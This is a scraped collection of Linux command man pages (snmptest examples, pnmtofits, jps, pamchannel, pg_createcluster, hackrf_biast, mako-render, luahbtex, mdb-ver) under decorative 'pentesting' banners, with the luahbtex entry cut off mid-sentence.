SNMPv2-MIB::sysDescr.0 = STRING: SunOS testhost 5.9 Generic_112233-02 sun4u
SNMPv2-MIB::sysContact.0 = STRING: x1111

The following is an example of sending a GETNEXT request:

Variable: SNMPv2-MIB::sysORUpTime
Variable:
Received Get Response from 128.2.56.220
requestid 0x7D9FCD64 errstat 0x0 errindex 0x0
SNMPv2-MIB::sysORUpTime.1 = Timeticks: (6) 0:00:00.06
Variable:

The following is an example of sending a SET request:

Variable: $S
Request type is Set Request
Variable: system.sysLocation.0
Type [i|u|s|x|d|n|o|t|a]: s
Value: building 17
Variable:
Received Get Response from 128.2.56.220
requestid 0x7D9FCD65 errstat 0x0 errindex 0x0
SNMPv2-MIB::sysLocation.0 = STRING: building A
Variable:

The following is an example of sending a GETBULK request:

Variable: $B
Request type is Bulk Request
Enter a blank line to terminate the list of non-repeaters
and to begin the repeating variables
Variable:
Now input the repeating variables
Variable: system.sysContact.0
Variable: system.sysLocation.0
Variable:
What repeat count? 2
Received Get Response from 128.2.56.220
requestid 0x2EA7942A errstat 0x0 errindex 0x0
SNMPv2-MIB::sysName.0 = STRING: testhost
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (58) 0:00:00.58
SNMPv2-MIB::sysLocation.0 = STRING: bldg A
SNMPv2-MIB::sysORID.1 = OID: IF-MIB::ifMIB
Variable:

The following is an example of sending an Inform request:

snmptest -v 2c -c public snmptrapd_host
Variable: $I
Request type is Inform Request
(Are you sending to the right port?)
Variable: system.sysContact.0
Type [i|u|sIx|d|n|o|t|a]: s
Value: x12345
Variable:
Inform Acknowledged
Variable:

The snmptrapd_host will show:

snmptrapd_host [<ip address>]: Trap SNMPv2-MIB::sysContact.0 = STRING: x12345

The following is an example of sending an SNMPv2 Trap request:

snmptest -v 2c -c public snmptrapd_host
Variable: $T
Request type is SNMPv2 Trap Request
(Are you sending to the right port?)
Variable: system.sysLocation.0
Type [i|u|s|x|d|n|o|t|a]: s
Value: building a
Variable:

The snmptrapd_host will show:

snmptrapd_host [<ip address>]: Trap SNMPv2-MIB::sys.0 = STRING:
building a

SEE ALSO

snmpcmd(1), snmpget(1), snmpset(1), variables(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

819 - Linux cli command pnmtofits

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtofits and provides detailed information about the command pnmtofits, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtofits.

.

NAME 🖥️ pnmtofits 🖥️

replaced by pamtofits

DESCRIPTION

This program is part of Netpbm(1) .

In Netpbm 10.30 (October 2005), pnmtofits was extended and renamed to pamtofits(1) .

pamtofits is backward compatible with pnmtofits.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtofits.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

820 - Linux cli command jps

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jps and provides detailed information about the command jps, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jps.

NAME 🖥️ jps 🖥️

list the instrumented JVMs on the target system

SYNOPSIS

Note: This command is experimental and unsupported.

jps [-q] [-mlvV] [hostid]

jps [-help]

OPTIONS

-q
Suppresses the output of the class name, JAR file name, and arguments passed to the main method, producing a list of only local JVM identifiers.

-mlvV
You can specify any combination of these options.

  • -m displays the arguments passed to the main method. The output may be null for embedded JVMs.

  • -l displays the full package name for the application’s main class or the full path name to the application’s JAR file.

  • -v displays the arguments passed to the JVM.

  • -V suppresses the output of the class name, JAR file name, and arguments passed to the main method, producing a list of only local JVM identifiers.

hostid
The identifier of the host for which the process report should be generated. The hostid can include optional components that indicate the communications protocol, port number, and other implementation specific data. See Host Identifier.

-help
Displays the help message for the jps command.

DESCRIPTION

The jps command lists the instrumented Java HotSpot VMs on the target system. The command is limited to reporting information on JVMs for which it has the access permissions.

If the jps command is run without specifying a hostid, then it searches for instrumented JVMs on the local host. If started with a hostid, then it searches for JVMs on the indicated host, using the specified protocol and port. A jstatd process is assumed to be running on the target host.

The jps command reports the local JVM identifier, or lvmid, for each instrumented JVM found on the target system. The lvmid is typically, but not necessarily, the operating system’s process identifier for the JVM process. With no options, the jps command lists each Java application’s lvmid followed by the short form of the application’s class name or jar file name. The short form of the class name or JAR file name omits the class’s package information or the JAR files path information.

The jps command uses the Java launcher to find the class name and arguments passed to the main method. If the target JVM is started with a custom launcher, then the class or JAR file name, and the arguments to the main method aren’t available. In this case, the jps command outputs the string Unknown for the class name, or JAR file name, and for the arguments to the main method.

The list of JVMs produced by the jps command can be limited by the permissions granted to the principal running the command. The command lists only the JVMs for which the principal has access rights as determined by operating system-specific access control mechanisms.

HOST IDENTIFIER

The host identifier, or hostid, is a string that indicates the target system. The syntax of the hostid string corresponds to the syntax of a URI:

[protocol**:][[//]hostname][:port][/**servername]

protocol
The communications protocol. If the protocol is omitted and a hostname isn’t specified, then the default protocol is a platform-specific, optimized, local protocol. If the protocol is omitted and a host name is specified, then the default protocol is rmi.

hostname
A host name or IP address that indicates the target host. If you omit the hostname parameter, then the target host is the local host.

port
The default port for communicating with the remote server. If the hostname parameter is omitted or the protocol parameter specifies an optimized, local protocol, then the port parameter is ignored. Otherwise, treatment of the port parameter is implementation-specific. For the default rmi protocol, the port parameter indicates the port number for the rmiregistry on the remote host. If the port parameter is omitted, and the protocol parameter indicates rmi, then the default rmiregistry port (1099) is used.

servername
The treatment of this parameter depends on the implementation. For the optimized, local protocol, this field is ignored. For the rmi protocol, this parameter is a string that represents the name of the RMI remote object on the remote host. See the jstatd command -n option.

OUTPUT FORMAT OF THE JPS COMMAND

The output of the jps command has the following pattern:

lvmid [ [ classname | JARfilename | "Unknown"] [ arg* ] [ jvmarg* ] ]

All output tokens are separated by white space. An arg value that includes embedded white space introduces ambiguity when attempting to map arguments to their actual positional parameters.

Note:

It’s recommended that you don’t write scripts to parse jps output because the format might change in future releases. If you write scripts that parse jps output, then expect to modify them for future releases of this tool.

EXAMPLES

This section provides examples of the jps command.

List the instrumented JVMs on the local host:

jps
18027 Java2Demo.JAR
18032 jps
18005 jstat

The following example lists the instrumented JVMs on a remote host. This example assumes that the jstat server and either the its internal RMI registry or a separate external rmiregistry process are running on the remote host on the default port (port 1099). It also assumes that the local host has appropriate permissions to access the remote host. This example includes the -l option to output the long form of the class names or JAR file names.

jps -l remote.domain
3002 /opt/jdk1.7.0/demo/jfc/Java2D/Java2Demo.JAR
2857 sun.tools.jstatd.jstatd

The following example lists the instrumented JVMs on a remote host with a nondefault port for the RMI registry. This example assumes that the jstatd server, with an internal RMI registry bound to port 2002, is running on the remote host. This example also uses the -m option to include the arguments passed to the main method of each of the listed Java applications.

jps -m remote.domain:2002
3002 /opt/jdk1.7.0/demo/jfc/Java2D/Java2Demo.JAR
3102 sun.tools.jstatd.jstatd -p 2002
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

821 - Linux cli command pamchannel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamchannel and provides detailed information about the command pamchannel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamchannel.

.

NAME 🖥️ pamchannel 🖥️

extract channels from a PAM image

SYNOPSIS

pamchannel [**-infile=infile] [-tupletype=**tupletype] [channum …]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamchannel reads a Netpbm image as input and produces a PAM image as output, consisting of the indicated channels (planes) of the input.

Each channum argument is the number of a channel of the input, with the first channel being zero. The channels in the output are in the order of these arguments.

The output is the same dimensions as the input, except that the depth is the number of channum arguments you supply. The tuple type is a null string unless you specify the -tupletype option.

This program works on multi-image streams, producing a corresponding output stream. But before Netpbm 10.32 (February 2006), it ignored every image after the first.

pamstack does the opposite of pamchannel: It takes multiple PAM or PNM images as input and stacks their planes (channels) on top of one another to yield a single PAM.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamchannel recognizes the following command line options:

-infile infile
This specifies the input file, which defaults to Standard Input. You may specify - to select Standard Input explicitly.

This is a little unconventional for Netpbm programs, which usually have the input file specification as an argument. For pamchannel, the arguments are channel numbers.

-tupletype tupletype
This specified the tuple type name to be recorded in the output. You may use any string up to 255 characters. Some programs recognize some names. If you omit this option, the default tuple type name is null.

SEE ALSO

pam(1) pamstack(1)

HISTORY

pamchannel was new, along with the PAM format, in Netpbm 9.7 (August 2000).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamchannel.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

822 - Linux cli command pg_createcluster

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_createcluster and provides detailed information about the command pg_createcluster, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_createcluster.

NAME 🖥️ pg_createcluster 🖥️

create a new PostgreSQL cluster

SYNOPSIS

pg_createcluster [options] version name [ initdb options]

DESCRIPTION

pg_createcluster creates a new PostgreSQL server cluster (i. e. a collection of databases served by a postgres (1) instance) and integrates it into the multi-version/multi-cluster architecture of the postgresql-common package.

Every cluster is uniquely identified by its version and name. The name can be arbitrary. The default cluster that is created on installation of a server package is main. However, you might wish to create other clusters for testing, with other superusers, a cluster for each user on a shared server, etc. pg_createcluster will abort with an error if you try to create a cluster with a name that already exists for that version.

For compatibility with systemd service units, the cluster name should not contain any dashes (-). pg_ctlcluster will warn about the problem, but succeed with the operation.

Given a major PostgreSQL version (like “8.2” or “8.3”) and a cluster name, it creates the necessary configuration files in /etc/postgresql/version/name/; in particular these are postgresql.conf, pg_ident.conf, pg_hba.conf, a postgresql-common specific configuration file start.conf (see STARTUP CONTROL below), pg_ctl.conf, and a symbolic link log which points to the log file (by default, /var/log/postgresql/postgresql-version-name.log).

postgresql.conf is automatically adapted to use the next available port, i. e. the first port (starting from 5432) which is not yet used by an already existing cluster.

If the data directory does not yet exist, PostgreSQL’s initdb (1) command is used to generate a new cluster structure. If the data directory already exists, it is integrated into the postgresql-common structure by moving the configuration file and setting the data_directory option. Please note that this only works for data directories which were created directly with initdb, i. e. all the configuration files (postgresql.conf etc.) must be present in the data directory.

If a custom socket directory is given and it does not exist, it is created.

If the log file does not exist, it is created. In any case the permissions are adjusted to allow write access to the cluster owner. Please note that postgresql.conf can be customized to specify log_directory and/or log_filename; if at least one of these options is present, then the symbolic link log in the cluster configuration directory is ignored.

If the default snakeoil SSL certificate exists (/etc/ssl/certs/ssl-cert-snakeoil.pem and /etc/ssl/private/ssl-cert-snakeoil.key), and the postgres user is in the ssl-cert Unix group, pg_createcluster configures the cluster to use this certificate, and enables SSL. Therefore all clusters will use the same SSL certificate by default. For versions up to 9.1, symlinks in the data directory will be created (server.crt and server.key); for 9.2 and later, the appropriate postgresql.conf options will be set (ssl_cert_file and ssl_key_file). Of course you can replace this with a cluster specific certificate. Similarly for /etc/postgresql-common/root.crt and /etc/postgresql-common/root.crl, these files will be configured as client certificate CA and revocation list, when present. (root.crt is initially a placeholder that will only be used if real certificates are added to the file.)

OPTIONS

-u user, –user=user
Set the user who owns the cluster and becomes the database superuser to the given name or uid. By default, this is the user postgres. A cluster must not be owned by root.

-g group, –group=group
Change the group of the cluster related data files. By default this will be the primary group of the database owner.

-d dir, –datadir=dir
Explicitly set the data directory path, which is used to store all the actual databases and tables. This will become quite big (easily in the order of five times the amount of actual data stored in the cluster). Defaults to /var/lib/postgresql/version/cluster.

-s dir, –socketdir=dir
Explicitly set the directory where the postgres (1) server stores the Unix socket for local connections. Defaults to /var/run/postgresql/ for clusters owned by the user postgres, and /tmp for clusters owned by other users. Please be aware that /tmp is an unsafe directory since everybody can create a socket there and impersonate the database server. If the given directory does not exist, it is created with appropriate permissions.

-l path, –logfile=path
Explicitly set the path for the postgres (1) server log file. Defaults to /var/log/postgresql/postgresql-version-cluster.log.

–locale=locale
Set the default locale for the database cluster. If this option is not specified, the locale is inherited from the environment that pg_createcluster runs in.

–lc-collate=locale

–lc-ctype=locale

–lc-messages=locale

–lc-monetary=locale

–lc-numeric=locale

–lc-time=locale

Like –locale, but only sets the locale in the specified category.

-e encoding, –encoding=encoding
Select the encoding of the template database. This will also be the default encoding of any database you create later, unless you override it there. The default is derived from the locale, or SQL_ASCII if that does not work. The character sets supported by the PostgreSQL server are described in the documentation. Note: It is not recommended to set this option directly! Set the locale instead.

-p port, –port=port
Select the port the new cluster listens on (for the Unix socket and the TCP port); this must be a number between 1024 and 65535, since PostgreSQL does not run as root and thus needs an unprivileged port number. By default the next free port starting from 5432 is assigned.

-q –quiet –no-status
Suppress output from initdb and (or only) the cluster status message at the end of the output.

–start
Immediately start a server for the cluster after creating it (i. e. call pg_ctlcluster version cluster start on it). By default, the cluster is not started.

–start-conf=auto|manual|disabled
Set the initial value in the start.conf configuration file. See STARTUP CONTROL below. By default, auto is used, which means that the cluster is handled by /etc/init.d/postgresql, i. e. starts and stops automatically on system boot.

-o guc=value, –pgoption guc=value
Configuration option to set in the new postgresql.conf file.

–createclusterconf=file
Alternative createcluster.conf file to use. Default is /etc/postgresql-common/createcluster.conf (or $PGSYSCONFDIR/createcluster.conf).

–environment=file
Alternative default environment file to use. Default is /etc/postgresql-common/environment (or $PGSYSCONFDIR/environment). If the file is missing, a placeholder string is used. %v and %c are replaced; see DEFAULT VALUES below.

– initdb options
Options passed directly to initdb (1). Per default, pg_createcluster will update the pg_hba.conf file generated by initdb to use peer authentication on local (unix) connections, and md5 on TCP (host) connections. If explicit authentication config is included here (-A, –auth, –auth-host, –auth-local), the pg_hba.conf file will be left untouched. Note: If only one of –auth-host and –auth-local is provided, the other setting will default to trust as per initdb’s defaults, opening a potential security risk.

STARTUP CONTROL

The start.conf file in the cluster configuration directory controls the start/stop behavior of that cluster’s postgres process. The file can contain comment lines (started with ‘#’), empty lines, and must have exactly one line with one of the following keywords:

auto
The postgres process is started/stopped automatically in the init script. When running from systemd, the cluster is started/stopped when postgresql.service is started/stopped. This is also the default if the file is missing.

manual
The postgres process is not handled by the init script, but manually controlling the cluster with pg_ctlcluster (1) is permitted. When running from systemd, the cluster is not started automatically when postgresql.service is started. However, stopping/restarting postgresql.service will stop/restart the cluster. The cluster can be started using **systemctl start postgresql@version-**cluster.

disabled
Neither the init script, pg_ctlcluster (1), nor [email protected] are permitted to start/stop the cluster. Please be aware that this will not stop the cluster owner from calling lower level tools to control the postgres process; this option is only meant to prevent accidents during maintenance, not more.

When running from systemd, invoke systemctl daemon-reload after editing start.conf.

The pg_ctl.conf file in the cluster configuration directory can contain additional options passed to pg_ctl of that cluster.

DEFAULT VALUES

Some default values used by pg_createcluster can be modified in /etc/postgresql-common/createcluster.conf. Occurrences of %v are replaced by the major version number, and %c by the cluster name. Use %% for a literal %.

create_main_cluster (Default: true)
Create a main cluster when a new postgresql-NN server package is installed.

start_conf (Default: auto)
Default start.conf value to use.

data_directory (Default: /var/lib/postgresql/%v/%c)
Default data directory.

waldir|xlogdir (Default: unset)
Default directory for transaction logs. When used, initdb will create a symlink from pg_wal (PostgreSQL 9.6 and earlier: pg_xlog) in the data directory to this location. Unset by default, i.e. transaction logs remain in the data directory. Both spellings of this option are accepted, and translated to the correct initdb invocation depending on the cluster version.

initdb_options (Default: unset)
Other options to pass to initdb.

Other options
All other options listed are copied into the new cluster’s postgresql.conf, e.g.: listen_addresses = * log_line_prefix = %%t Some postgresql.conf options are treated specially:

ssl
Only added to postgresql.conf if the default snakeoil certificates exist and are readable for the cluster owner as detailed above.

stats_temp_directory
Only added to postgresql.conf if existing, and writable for the cluster owner, or else if the parent directory is writable. Not used on PostgreSQL 15 or later.

Include files

include

include_if_exists

include_dir

createcluster.conf supports the same include directives as postgresql.conf.

add_include

add_include_if_exists

add_include_dir

To add include directives to the new postgresql.conf file, use the add_* directives. The add_ prefix is removed.

SEE ALSO

initdb (1), pg_ctlcluster (8), pg_lsclusters (1), pg_wrapper (1)

AUTHORS

Martin Pitt <[email protected]>, Christoph Berg <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

823 - Linux cli command hackrf_biast

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hackrf_biast and provides detailed information about the command hackrf_biast, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hackrf_biast.

NAME 🖥️ hackrf_biast 🖥️

antenna power utility

DESCRIPTION

hackrf_biast - HackRF antenna power bias-T configuration utility Usage:

-h, –help: this help

-R: Reset all bias tee settings to device default. When combined with -r/-t/-o, those settings will take precedence.

-b: <mode> : 1=Enable bias tee immediately, 0=disable immediately

-r: <mode> : Set default bias tee power when device enters RX mode

-t: <mode> : Set default bias tee power when device enters TX mode

-o: <mode> : Set default bias tee power when device enters OFF mode

-d: <serial_number>: Specify serial number of HackRF device to configure.

EXAMPLES

hackrf_clock -r 3 : prints settings for CLKOUT

Usage:

-h, –help: this help

hackrf_biar -R : Resets biast setting to default.

The -r/-t/-o options support the following mode settings:

leave do nothing when entering mode

on enable bias tee when entering mode

off disable bias tee when entering mode

SEE ALSO

The primary source of documentation is the wiki on github:

https://github.com/mossmann/hackrf/wiki

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

824 - Linux cli command mako-render

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mako-render and provides detailed information about the command mako-render, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mako-render.

NAME 🖥️ mako-render 🖥️

render - renders Mako templates

SYNOPSIS

mako-render [FILE]

DESCRIPTION

This manual page documents briefly the mako-render command.

mako-render is a standalone utility that can render Mako templates. Mako is a fast Python-powered template engine. If FILE is a single “-”, standard input will be used as a template source.

OPTIONS

These programs follow the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

-h, –help
Show summary of options.

AUTHOR

mako-render script was written by Miki Tebeka <[email protected]>, Mako was written by Mike Bayer <[email protected]>.

This manual page was written by Piotr Ożarowski <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

825 - Linux cli command luahbtex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command luahbtex and provides detailed information about the command luahbtex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the luahbtex.

NAME 🖥️ luahbtex 🖥️

An extended version of TeX using Lua as an embedded scripting language

SYNOPSIS

luatex [–lua=FILE] [OPTION]. . . [TEXNAME[.tex]] [COMMANDS]
luatex [–lua=FILE] [OPTION]. . . *FIRST-LINE
luatex [
–lua=FILE
*] [OPTION]. . . **&**FMT [ARGS]

DESCRIPTION

Run the luaTeX typesetter on TEXNAME, usually creating TEXNAME*.pdf***. Any remaining COMMANDS are processed as luaTeX input, after TEXNAME is read.

Alternatively, if the first non-option argument begins with a backslash, interpret all non-option arguments as a line of luaTeX input.

Alternatively, if the first non-option argument begins with a &, the next word is taken as the FMT to read, overriding all else. Any remaining arguments are processed as above.

If no arguments or options are specified, prompt for input.

If called as texlua it acts as a Lua interpreter. If called as texluac it acts as a Lua bytecode compiler.

LuaTeX began as an extended version of pdfTeX with Unicode and OpenType font support, embedded Lua scripting language, the e-TeX and Omega extensions, as well as an integrated MetaPost engine, that can create PDF files as well as DVI files. For more information about luatex, see http://www.luatex.org; and you can read the LuaTeX manual using the texdoc utility (texdoc luatex).

All LuaTeX text input and output is considered to be Unicode text, although various filters make it possible to support any encoding.

In DVI mode, LuaTeX can be used as a complete replacement for the TeX engine.

In PDF mode, LuaTeX can natively handle the PDF, JPG, JBIG2, and PNG graphics formats. LuaTeX cannot include PostScript or Encapsulated PostScript (EPS) graphics files; first convert them to PDF using epstopdf(1).

The luajittex variant includes the Lua just-in-time compiler.

The luahbtex variant can use the HarfBuzz engine for glyph shaping, instead of LuaTeX’s built-in shaper.

OPTIONS

When the LuaTeX executable starts, it looks for the –lua command-line option. If there is no –lua option, the command line is interpreted in a similar fashion as in traditional pdfTeX and Aleph. But if the option is present, LuaTeX will enter an alternative mode of command-line parsing in comparison to the standard web2c programs. The presence of –lua makes most of other options unreliable, because the lua initialization file can disable kpathsea and/or hook functions into various callbacks.

Here is the list of possibly affected switches/functionality, and why:

**–lua=**FILE
The lua initialization file.

The following two options alter the executable behaviour:

–luaonly
Start LuaTeX as a Lua interpreter. In this mode, it will set Lua’s arg[0] to the found script name, pushing preceding options in negative values and the rest of the command line in the positive values, just like the Lua interpreter. LuaTeX will exit immediately after executing the specified Lua script.

–luaconly
Start LuaTeX as a Lua byte compiler. In this mode, LuaTeX is exactly like luac from the standalone Lua distribution, except that it does not have the -l switch, and that it accepts (but ignores) the –luaconly switch.

Then the regular web2c options:

–debug-format

Debug format loading.

–draftmode
Sets \pdfdraftmode so luaTeX doesn’t write a PDF and doesn’t read any included images, thus speeding up execution.

–enable-write18

Synonym for –shell-escape.

–disable-write18

Synonym for –no-shell-escape.

–shell-escape

Enable the \write18{command} construct, and Lua functions os.execute(), os.exec(), os.spawn(), and io.popen(). The command can be any shell command. This construct is normally disallowed for security reasons.

–no-shell-escape

Disable the \write18{command} construct and the other Lua functions, even if it is enabled in the texmf.cnf file.

–shell-restricted
Enable restricted version of \write18, os.execute(), os.exec(), os.spawn(), and io.popen(), only commands listed in texmf.cnf file are allowed.

–file-line-error
Print error messages in the form file:line:error which is similar to the way many compilers format them.

–no-file-line-error
Disable printing error messages in the file:line:error style.

**–fmt=**FORMAT
Use FORMAT as the name of the format to be used, instead of the name by which luaTeX was called or a %& line.

–help
Print help message and exit.

–ini
Start in INI mode, which is used to dump formats. The INI mode can be used for typesetting, but no format is preloaded, and basic initializations like setting catcodes may be required.

**–interaction=**MODE
Sets the interaction mode. The MODE can be either batchmode, nonstopmode, scrollmode, and errorstopmode. The meaning of these modes is the same as that of the corresponding

826 - Linux cli command mdb-ver

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-ver and provides detailed information about the command mdb-ver, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-ver.

NAME 🖥️ mdb-ver 🖥️

ver** - Return the format of a given MDB database.

SYNOPSIS

mdb-ver database
mdb-ver -h|--help
mdb-ver -M|--version

